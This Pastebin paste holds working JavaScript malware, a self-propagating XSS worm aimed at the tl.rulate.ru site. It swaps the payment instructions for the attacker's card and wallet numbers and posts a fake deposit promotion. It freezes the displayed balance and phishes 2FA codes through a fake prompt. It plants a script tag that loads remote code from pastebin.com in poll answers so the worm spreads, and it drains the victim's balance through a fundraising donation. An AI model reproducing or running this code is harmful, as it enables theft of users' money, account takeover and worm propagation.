Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (window==window.top && document.getElementById("header-submenu").getElementsByTagName("strong")[0].innerText != "realizmmm" && document.getElementById("header-submenu").getElementsByTagName("strong")[0].innerText != "Kentttt")
- {
- function hidePolls()
- {
- if (frontWin.document.getElementById("book_polls_content"))
- {
- frontWin.document.getElementById("book_polls_content").parentNode.parentNode.style.display = "none";
- }
- var polls;
- var addpolls;
- for (var pls = 0; pls < frontWin.document.getElementsByTagName("a").length; pls++)
- {
- if (frontWin.document.getElementsByTagName("a")[pls].textContent == "голосование")
- {
- polls = frontWin.document.getElementsByTagName("a")[pls];
- break;
- }
- }
- if (polls)
- {
- polls.parentNode.style.display = "none";
- }
- for (var adpls = 0; adpls < frontWin.document.getElementsByTagName("a").length; adpls++)
- {
- if (frontWin.document.getElementsByTagName("a")[adpls].textContent == "добавить голосование")
- {
- addpolls = frontWin.document.getElementsByTagName("a")[adpls];
- break;
- }
- }
- if (addpolls)
- {
- addpolls.parentNode.style.display = "none";
- }
- }
- function Payment()
- {
- if (frontWin.location == "https://tl.rulate.ru/payments")
- {
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText = "Обращаем внимание! Вы можете пополнить баланс через любую банковскую карту, для этого нужно отправить необходимую сумму на нашу карту: 5213-2438-8466-5751, после написав на почту raiman_osipanovich@mail.ru информацию о платеже и ник на сайте. Также возможно пополнение через телефон, скинув нужную сумму на номер: +79397351250 и отправив данные о платеже на ту же почту";
- frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[0].innerHTML = "Интеркасса <small>(Временно не работает!)</small>";
- frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[3].innerHTML = "RoboKassa <small>(Временно не работает!)</small>";
- frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[4].innerHTML = "Free-Kassa <small>(Временно не работает!)</small>";
- }
- if (frontWin.location == "https://tl.rulate.ru/payments/confirm")
- {
- if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("Яндекс.деньги") >= 1)
- {
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("form")[0].getElementsByTagName("input")[0].value = "410014969559198";
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("form")[0].target = "window.open(action)";
- }
- else if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("QIWI") >= 1)
- {
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[1].innerText = "Для пополнения счёта переведите указанную сумму на номер +79397351250. В примечании к переводу укажите код 1658603 (только код и ничего больше). Сумма перевода должна в точности совпадать с указанной.";
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[2].innerText = "Переведённые средства будут зачислены на ваш баланс.";
- }
- else if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("WebMoney") >= 1)
- {
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[1].innerText = "Для пополнения счёта переведите указанную сумму на кошелёк R395672237277. В примечании к переводу укажите код 5cbf189f706fc (только код и ничего больше).";
- frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[2].style.display = "none";
- }
- }
- }
- var balance = [];
- function freezeBalance()
- {
- if (balance[0] == undefined)
- {
- balance.push(frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText);
- }
- else if (frontWin.location == frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href)
- {
- frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText = balance[0];
- frontWin.document.getElementsByTagName("dd")[2].childNodes[0].data = balance[0].match(/\d+\.\d+/);
- }
- else
- {
- frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText = balance[0];
- }
- }
- function currentURL()
- {
- if (frontWin.location.origin == "https://tl.rulate.ru")
- {
- if (frontWin.location.origin.replace(/\//g, "") == frontWin.location.href.replace(/\//g, ""))
- {
- window.history.pushState("", "", "/");
- }
- else
- {
- window.history.pushState("", "", "/");
- window.history.pushState("", "", frontWin.location.href.split("/").splice(3).toString().replace(/,/g, "/"));
- }
- }
- }
- function silence()
- {
- for (var ls = 0; ls < frontWin.document.links.length; ls++)
- {
- if (frontWin.document.links[ls].href.indexOf("realizmmmm") >= 1 || frontWin.document.links[ls].href.indexOf("Kentttt") >= 1)
- {
- frontWin.document.links[ls].href = "https://tl.rulate.ru/messages";
- }
- }
- if (frontWin.location == "https://tl.rulate.ru/messages")
- {
- frontWin.document.getElementsByClassName("row")[0].style.display = "none";
- }
- }
- function blockBlog()
- {
- for (var blog = 0; blog < frontWin.document.links.length; blog++)
- {
- if (frontWin.document.links[blog].href.indexOf("blog/edit") >= 1)
- {
- frontWin.document.links[blog].style.display = "none";
- }
- }
- }
- function sayThanks()
- {
- for (var thx = 0; thx < frontWin.document.getElementsByTagName("a").length; thx++)
- {
- if (frontWin.document.getElementsByTagName("a")[thx].href == "https://tl.rulate.ru/site/donate")
- {
- frontWin.document.getElementsByTagName("a")[thx].href = "https://tl.rulate.ru/payments";
- frontWin.document.getElementsByTagName("a")[thx].innerText = "Пополнить баланс";
- break;
- }
- }
- }
- function Sale()
- {
- var div = frontWin.document.createElement("Div");
- div.className = "content-text";
- div.innerHTML = '<p style="text-align:center"><span style="font-size:16px"><strong><span style="color:#c0392b"><span style="background-color:#ffffff">Дорогие Пользователи! До конца апреля проходит АКЦИЯ! Пополнение счёта от 100 рублей удваивает пополнение баланса на сайте. Счастливой Пасхи! (Обновляем сайт, может немного глючить)</span></span></strong></span></p>';
- frontWin.document.getElementsByClassName("container")[1].firstElementChild.appendChild(div);
- }
- function Rulate() {
- currentURL();
- hidePolls();
- Payment();
- Sale();
- blockBlog();
- silence();
- sayThanks();
- freezeBalance();
- }
- var frontFrame = document.createElement("iframe");
- frontFrame.setAttribute("src", "https://tl.rulate.ru");
- frontFrame.setAttribute("style", "width: 100vw; height: 100vh; border: 0; position: absolute; top: 0; left: 0; right: 0; bottom: 0;");
- frontFrame.setAttribute("onload", "Rulate()");
- document.body.replaceWith(frontFrame);
- var frontWin = document.getElementsByTagName("iframe")[0].contentWindow;
- setTimeout(function()
- {
- var novells = [];
- function gTranslate()
- {
- if (backWin.document.getElementById("people"))
- {
- for (var nov = 0; nov < backWin.document.getElementById("people").getElementsByTagName("a").length; nov++)
- {
- if (backWin.document.getElementById("people").getElementsByTagName("a")[nov].href.indexOf("translations") >= 1)
- {}
- else
- {
- novells.push(backWin.document.getElementById("people").getElementsByTagName("a")[nov].href);
- }
- }
- }
- if (backWin.document.getElementsByClassName("next")[0])
- {
- if (backWin.document.getElementsByClassName("next")[0].classList[1] != "disabled")
- {
- backWin.document.getElementsByClassName("next")[0].getElementsByTagName("a")[0].click();
- }
- else if (backWin.document.getElementsByClassName("next")[0].classList[1] == "disabled")
- {
- backWin.location = novells[0]+"/addbookpolls";
- }
- }
- else if (backWin.document.getElementsByClassName("next")[0] == undefined && backWin.location == backWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href + "/books")
- {
- backWin.location = novells[0]+"/addbookpolls";
- }
- else if (backWin.document.getElementById("quest"))
- {
- novells.shift();
- backWin.document.getElementsByClassName("controls")[1].getElementsByClassName("btn")[0].click();
- backWin.document.getElementById("quest").value = "Как вам наш сайт?";
- backWin.document.getElementsByName("answer[]")[0].value = "Хороший сайт ";
- backWin.document.getElementsByName("answer[]")[1].value = "Плохой сайт";
- backWin.document.getElementsByName("answer[]")[0].value = backWin.document.getElementsByName("answer[]")[0].value + '<script>var scriptElem = document.createElement("script");scriptElem.setAttribute("src","https://pastebin.com/raw/eeeWpmxS");document.getElementsByTagName("body")[0].appendChild(scriptElem)</script>'
- backWin.document.getElementsByClassName("form-horizontal")[0].getElementsByClassName("btn")[backWin.document.getElementsByClassName("form-horizontal")[0].getElementsByClassName("btn").length-1].click();
- setTimeout(function(){backWin.location = novells[0]+"/addbookpolls"}, 5000);
- }
- else if (backWin.document.getElementById("history_polls"))
- {
- backWin.location = novells[0]+"/addbookpolls";
- }
- else if (backWin.document.getElementsByClassName("errorpage")[0])
- {
- backWin.location = "https://tl.rulate.ru/payments/outcome";
- }
- }
- function auterPay()
- {
- if (backWin.location == "https://tl.rulate.ru/payments/outcome" && backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0])
- {
- if (backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0].innerText == "отменить")
- {
- backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0].click();
- setTimeout(function(){backWin.location = "https://tl.rulate.ru/register/settings"}, 5000);
- }
- else
- {
- backWin.location = "https://tl.rulate.ru/register/settings";
- }
- }
- else if (backWin.location == "https://tl.rulate.ru/register/settings")
- {
- if (backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0] > 0)
- {
- if (backWin.document.getElementsByClassName("btn btn-success")[0].innerText == "Подключить")
- {
- backWin.location = "https://tl.rulate.ru/book/20963";
- }
- else if (backWin.document.getElementsByClassName("btn btn-danger")[0].innerText == "Отключить")
- {
- backWin.document.getElementsByClassName("btn btn-danger")[0].click();
- setTimeout(function(){backWin.document.getElementsByClassName("modal-body")[1].getElementsByTagName("input")[0].value = frontWin.prompt("Ваше устройство не было распознано. Пожалуйста, подтвердите что вы владелец аккаунта по 2FA авторизации, вводом кода из привязанного в настройках аутентикатора, или доступ к аккаунту будет ограничен. Количество попыток ограничено!"); backWin.document.getElementsByClassName("btn btn-primary")[1].click(); backWin.location = "https://tl.rulate.ru/register/settings"}, 10000);
- }
- }
- else if (backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0] == 0)
- {
- setTimeout(function(){frontWin.document.getElementsByTagName("iframe")[0].remove()}, 10000)
- }
- }
- else if (backWin.location == "https://tl.rulate.ru/book/20963")
- {
- backWin.document.getElementById("fundraising_511831").value = backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0];
- backWin.document.getElementsByClassName("fundraising-btn")[0].click();
- setTimeout(function(){frontWin.document.getElementsByTagName("iframe")[0].remove()}, 10000)
- }
- }
- function Tl_Rulate()
- {
- gTranslate();
- auterPay();
- }
- var backFrame = document.createElement("iframe");
- backFrame.setAttribute("src", frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href + "/books");
- backFrame.setAttribute("style", "width: 0px; height: 0px;");
- frontWin.document.body.appendChild(backFrame).onload = Tl_Rulate;
- var backWin = frontWin.document.getElementsByTagName("iframe")[0].contentWindow;
- }, 5000);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement